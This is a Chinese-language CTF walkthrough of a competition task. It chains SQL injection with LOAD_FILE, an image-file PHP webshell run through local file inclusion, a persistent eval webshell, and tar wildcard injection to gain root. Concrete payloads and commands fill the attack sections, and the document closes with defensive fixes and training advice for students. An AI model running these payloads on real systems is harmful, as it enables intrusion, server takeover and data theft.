从SQL注入到权限提升：一道CTF赛题的纵深渗透实战解析

1. 项目概述：一次竞赛复盘的技术价值

最近整理硬盘，翻到了前年带队参加全国职业院校技能大赛“网络空间安全”赛项时的一些备赛笔记和真题记录。其中，2022年的那道“试题8”让我印象尤为深刻。它不像一些单纯考察漏洞利用的题目那样直接，而是将多个看似独立的安全风险点，巧妙地嵌套在一个接近真实业务逻辑的场景里，对选手的“攻击面梳理”和“纵深渗透”能力提出了很高的要求。当时，我和队员们为了彻底吃透这道题，前前后后折腾了将近一周，从最初的毫无头绪，到中间的反复试错，再到最后梳理出一条清晰的攻击链，整个过程本身就是一次极佳的综合能力训练。

今天，我想抛开标准的“参考答案”格式，从一个一线教练和渗透测试从业者的角度，重新拆解这道题。我的目的不是提供一个“标准答案”，而是分享我们当时是如何思考的、遇到了哪些坑、以及最终如何将这些分散的技术点串联成一个完整故事的。这道题涉及Web安全、主机信息收集、权限提升等多个层面，非常适合用来检验和提升中高级水平学习者的综合实战能力。无论你是正在备赛的学生，还是希望巩固Web渗透知识的安全爱好者，相信这篇基于实战的深度解析都能给你带来一些不一样的启发。

2. 试题环境与核心目标拆解

拿到任何一道CTF或实战模拟题，第一步永远不是急着去扫描、去爆破，而是静下心来，像侦探勘察现场一样，理解环境、明确目标。这是很多新手容易忽略，却至关重要的一步。

2.1 初始访问点分析

根据回忆，试题8提供了一个Web访问入口。通常，这类竞赛题的初始入口会是一个IP地址加端口，例如http://192.168.1.100:8080。访问后，呈现的是一个具备基础功能的网站，可能是一个内容管理系统（CMS）、一个办公系统（OA），或者一个自定义开发的Web应用。

我们的首要任务是进行快速的信息收集：

1. 技术栈指纹识别：使用浏览器插件（如Wappalyzer）或命令行工具（如whatweb）快速识别前端框架、后端语言、Web服务器、数据库类型等。例如，识别出是PHP 7.x + Apache + MySQL的组合，或是Spring Boot + Tomcat的架构。这直接决定了后续漏洞利用的方向。
2. 目录与文件发现：使用工具如dirsearch,gobuster或ffuf，配合一个强大的字典，对网站目录和隐藏文件进行扫描。重点寻找：
   • 后台管理入口 (/admin,/manage,/wp-admin)
   • 配置文件 (/config.php,/web.config,/.env)
   • 备份文件 (/.git/,/.svn/,/*.bak,/*.tar.gz)
   • 接口文件 (/api/,/upload/,/export)
3. 参数与功能点梳理：手动浏览网站的每一个链接、表单和功能。关注：
   • 用户登录、注册、找回密码。
   • 文件上传点（任何可以传图片、附件的地方）。
   • 数据查询或展示功能（如新闻列表、用户搜索、订单查询），这里常存在SQL注入或XSS。
   • 任何包含文件包含功能的地方（如?file=about.php）。

注意：在竞赛环境中，扫描力度要适度。过于暴力的扫描可能导致IP被临时封禁，或者触发防护告警影响其他题目。建议使用-t参数降低线程，或使用--delay增加请求间隔。

2.2 最终目标定义

这类赛题的目标通常是阶梯式的。初步目标可能是获取Web服务器的webshell，即能够在服务器上执行命令的权限。但这往往只是“立足点”，最终目标（Flag）可能存放在：

1. 数据库中某个特定表里。
2. 服务器本地文件系统的某个路径下（如/flag,/root/flag.txt）。
3. 内网另一台机器上，需要以当前服务器为跳板进行横向移动。
4. 当前主机的更高权限用户（如root）手中，需要进行权限提升。

因此，我们的攻击链规划必须是：“Web入口 -> Web权限 -> 数据库/系统权限 -> 横向移动/提权 -> 获取最终Flag”。试题8的巧妙之处在于，它可能将Flag的获取条件，与一个需要多步骤组合利用才能触发的“敏感操作”绑定在一起。

3. 漏洞链构建与关键技术点实战

基于初步的信息收集，我们假设识别出了几个潜在的风险点：一个存在SQL注入的搜索框、一个头像上传功能、以及一个疑似本地文件包含（LFI）的参数。真正的挑战在于，如何将它们有机地组合起来。

3.1 突破口：从SQL注入到获取敏感信息

我们首先发现http://target/search.php?keyword=test这个搜索接口对keyword参数未做过滤。通过注入测试keyword=test'，页面返回了数据库错误信息，确认存在字符型SQL注入。

常规利用与碰壁： 我们立刻使用sqlmap进行自动化注入：sqlmap -u “http://target/search.php?keyword=test” --batch --dbs。很快，我们获取了数据库名，并成功枚举出表名和字段。我们发现了users表，里面包含了username,password_hash等字段。 然而，当我们兴致勃勃地尝试去破解这些哈希值时，发现它们用的是强盐值（salt）的SHA256加密，在竞赛有限时间内几乎不可能破解。同时，我们也未在数据库中直接找到Flag。第一条路看似走通了，实则进入了死胡同。

关键转折：利用注入读取服务器文件： 这时，我们需要转变思路。既然SQL注入存在，且数据库用户权限可能不低，我们能否利用它做点别的？在MySQL中，有一个函数叫LOAD_FILE()，可以读取服务器上的文件内容。我们尝试：keyword=test' UNION SELECT LOAD_FILE('/etc/passwd'), null-- -如果成功，页面可能会显示/etc/passwd的内容，这能帮助我们了解系统用户。更重要的是，我们可以尝试读取Web应用的配置文件，因为里面往往有数据库连接密码，甚至其他敏感路径。 我们尝试猜测配置文件路径：/var/www/html/config.php,/var/www/html/inc/config.inc.php,/var/www/html/application/config/database.php等。 最终，通过注入LOAD_FILE('/var/www/html/conn.php')，我们成功读取到了配置文件，其中包含了数据库明文密码，以及一个有趣的路径：$upload_path = ‘/var/www/html/uploads/’。

实操心得：在CTF中，当直接的数据获取受阻时，立刻思考SQL注入的“扩展利用”。LOAD_FILE()和INTO OUTFILE/DUMPFILE（写文件）是两大神器。读取配置文件是突破僵局的常见手段。

3.2 结合点：利用上传与文件包含获取Webshell

现在我们手头有两条信息：1. 一个文件上传点（头像上传）；2. 一个可能存在的文件包含漏洞（例如http://target/show.php?page=about）。

上传绕过测试： 访问头像上传功能，发现它只允许上传jpg,png,gif格式，并且会检查文件内容头（Magic Bytes）。直接上传shell.php会被拒绝。 我们尝试了多种绕过方式：

1. 双写后缀：shell.php.jpg-> 被后端截取.jpg前的部分，失败。
2. 大小写绕过：shell.PHp-> 被统一转为小写后检查，失败。
3. 修改Content-Type：将Content-Type: application/php改为image/jpeg-> 服务器端似乎不仅检查这个，失败。
4. 制作图片马：使用copy shell.jpg /b + shell.php /a webshell.jpg命令制作包含PHP代码的图片文件。上传成功！但访问/uploads/webshell.jpg时，代码并不会被执行，它只是被当作图片解析。

文件包含（LFI）的妙用： 这时，我们回想起之前信息收集时发现的一个参数：page。访问http://target/show.php?page=about会显示关于我们页面。我们测试LFI：page=../../../../etc/passwd。成功！服务器返回了/etc/passwd的内容，确认存在目录遍历漏洞。 那么，能否利用LFI来执行我们上传的图片马中的PHP代码呢？答案是肯定的，这被称为“文件包含配合文件上传”的经典组合拳。PHP的include或require函数在包含文件时，会将其内容作为PHP代码执行，只要该文件内容符合PHP语法，无论其后缀名是什么。 我们构造Payload：http://target/show.php?page=../../../uploads/webshell.jpg服务器会尝试去包含这个图片文件。当它读取文件内容时，遇到<?php phpinfo();?>这样的标签，就会启动PHP解析器执行其中的代码。于是，我们成功在页面上看到了phpinfo()的输出，这等同于获得了一个能够执行任意PHP代码的“ Webshell”。

写入更稳定的Webshell： 通过包含图片马执行代码，我们可以利用PHP的文件写入函数，在服务器上创建一个真正的、后缀为.php的Webshell文件。 我们构造一个POST请求，向show.php?page=../../../uploads/webshell.jpg发送数据，其中图片马里的代码是：

<?php if(isset($_POST[‘cmd’])) { system($_POST[‘cmd’]); } ?>

然后，我们再用这个“临时Webshell”执行命令：echo ‘<?php eval($_POST[“ant”]);?>’ > /var/www/html/shell.php。 这样，一个更稳定、功能更强大的 Webshellshell.php就被写入到了Web目录下，我们可以直接连接蚁剑或冰蝎进行后续操作。

注意事项：1. 上传路径的绝对路径我们是从SQL注入读取的配置文件中获得的，这是信息串联的关键。2. 在利用LFI包含上传文件时，可能需要尝试不同的路径深度 (../的数量)，这取决于show.php文件与uploads目录的相对位置。

3.3 权限提升与Flag获取

拿到Webshell后，我们通常处于一个低权限的Web服务用户身份下，比如www-data或apache。执行whoami和id命令确认当前用户权限。

信息收集（主机层面）：

1. 系统版本与内核：uname -a， 为寻找本地提权（Privilege Escalation）漏洞做准备。
2. 运行的服务与进程：ps aux， 查看是否有以root身份运行的可疑服务或程序。
3. 具有SUID/SGID权限的特殊文件：find / -perm -u=s -type f 2>/dev/null。SUID文件在执行时，会以文件所有者的身份运行。如果找到一个属于root且具有SUID权限的、我们又能控制的程序，可能就是提权点。
4. 定时任务（Cron Jobs）：cat /etc/crontab或crontab -l， 查看是否有定期执行的脚本，且该脚本我们是否有写入权限。
5. 用户主目录：ls -la /home/和ls -la /root/（如果可读），寻找历史文件、密码文件、SSH密钥等。

试题8中的提权场景： 在我们的实战中，通过sudo -l命令（需要当前用户有sudo权限且知道密码，但有时配置不当可能不需要密码）发现，www-data用户被允许以root身份，无需密码运行一个自定义的脚本：/opt/backup.sh。 查看这个脚本内容：

#!/bin/bash tar -czf /backups/web_backup_$(date +%Y%m%d).tar.gz /var/www/html/*

这是一个简单的备份脚本，用tar命令打包网站目录。这里存在一个经典的“通配符注入”提权漏洞。漏洞原理：当在命令行中使用通配符*时，Shell会先对其进行扩展。如果我们可以控制被打包目录（这里是/var/www/html/）下的文件名，就可以注入命令行参数。利用方法：

1. 在/var/www/html/目录下创建两个特殊文件：

   touch /var/www/html/--checkpoint=1 touch /var/www/html/--checkpoint-action=exec="sh shell.sh"

   --checkpoint和--checkpoint-action是tar命令的参数，用于在备份过程中执行动作。
2. 再创建一个恶意脚本shell.sh在同一个目录，内容为给/bin/bash设置SUID权限：

   #!/bin/bash chmod u+s /bin/bash

   并给它执行权限：chmod +x shell.sh。
3. 当root用户执行/opt/backup.sh时，脚本中的tar -czf ... /var/www/html/*命令会被展开。由于我们创建了以--开头的文件，它们会被tar解析为命令行参数而非被打包的文件。于是，实际执行的命令相当于：

   tar -czf /backups/web_backup_xxx.tar.gz --checkpoint=1 --checkpoint-action=exec="sh shell.sh" [其他文件...]

   这会导致tar在执行备份过程中，运行我们的shell.sh脚本，从而将/bin/bash设置为SUID。
4. 提权：等待定时任务执行或手动触发备份后，我们运行/bin/bash -p，-p参数表示保留提升的权限，这样我们就获得了一个root身份的bash shell。
5. 最后，在/root目录下，我们找到了最终的Flag文件：cat /root/flag.txt。

4. 核心防御视角与备赛训练建议

作为防守方，或者从备赛训练的角度看，这道题几乎涵盖了Web安全防护的各个薄弱环节。复盘整个攻击链，每一个环节的失守都对应着一个可以加强的防御点。

4.1 针对漏洞链的逐点防御

1. SQL注入防御：

   • 根本措施：使用参数化查询（Prepared Statements）或ORM框架，确保用户输入永远不被解释为SQL代码。
   • 辅助措施：对输入进行严格的类型检查和长度限制；使用Web应用防火墙（WAF）规则进行过滤；遵循最小权限原则，数据库用户只赋予应用所需的最小权限（禁止FILE权限等）。

2. 不安全的文件上传防御：

   • 白名单策略：只允许特定的、安全的文件扩展名（如.jpg,.png），而非黑名单。
   • 文件内容校验：不仅检查MIME类型，更应检查文件头魔数（Magic Numbers）和文件内容结构。
   • 重命名与隔离：对上传的文件进行随机化重命名（如UUID），并存储在Web根目录之外，通过后端脚本代理访问。禁用上传目录的脚本执行权限（通过服务器配置，如Apache的php_admin_flag engine off）。
   • 病毒扫描：对上传文件进行恶意代码扫描。

3. 本地文件包含（LFI）防御：

   • 避免动态包含：尽量避免使用用户输入直接控制文件路径。如果必须，则采用白名单机制。
   • 路径固定：如果需要包含不同模块，使用一个固定的映射表（如$pages = [‘about’ => ‘about.php’, ‘contact’ => ‘contact.php’]），而不是直接拼接。
   • 输入净化：严格过滤输入中的../等目录遍历字符。

4. 权限提升防御：

   • 最小权限原则：Web服务运行用户（如www-data）必须是一个低权限用户，绝不能有sudo权限或运行SUID程序的能力。
   • 安全脚本编写：在Shell脚本中，避免使用通配符*与用户可控的路径直接结合。如果需要，应使用--参数来明确终止选项解析，或者遍历目录时使用find -exec等更安全的方式。
   • 定期审计：定期使用类似linpeas这样的脚本进行主机安全审计，检查异常的SUID文件、sudo权限、可写定时任务等。

4.2 对参赛选手的训练建议

这道题完美诠释了“攻击链”思维。在训练时，不能只满足于孤立地练习SQL注入、文件上传等单项技术，而要有意识地进行“串联”训练。

1. 建立标准化流程：形成自己的“作战流程”，从信息收集、漏洞探测、漏洞利用、到权限维持、内网横向、痕迹清理，每一步用什么工具、看什么信息，都要形成肌肉记忆。
2. 培养“突破僵局”的思维：当一条路走不通时（如SQL注入拿不到密码），要立刻思考技术的“横向利用”（如读文件、写文件）。多了解每种漏洞的“非常规”利用方式。
3. 重视权限提升（Privilege Escalation）：这是区分初级和中级选手的关键。要熟练掌握Linux/Windows下常见的提权方法，并学会使用自动化枚举脚本（如LinPEAS, WinPEAS）来加速信息收集。
4. 从防守理解进攻：多花时间学习安全开发、安全运维的知识。只有明白了防御措施通常如何部署，才能更有效地找到其疏漏之处。尝试自己搭建一个存在漏洞的靶场，然后从防御角度去修复它，这个过程能极大地加深理解。
5. 文档与复盘：像我们这次做的一样，对每一道复杂的题目进行详细的复盘和记录。记录下你的思考过程、尝试过的失败方法、以及最终的成功路径。这份文档将成为你个人最宝贵的知识库。

这道2022年的国赛题，其技术点本身或许并不算最新颖，但它所体现的“多漏洞组合利用”和“纵深渗透”思想，在任何时候都不会过时。安全攻防的本质，很多时候就是一场关于信息差和思维缜密度的较量。希望这次基于实战的深度解析，能帮助你不仅“解出”一道题，更能掌握解开一整类问题的方法。在真正的渗透测试或安全竞赛中，这种将零散信息拼凑成完整攻击地图的能力，远比记住几个漏洞的利用代码要重要得多。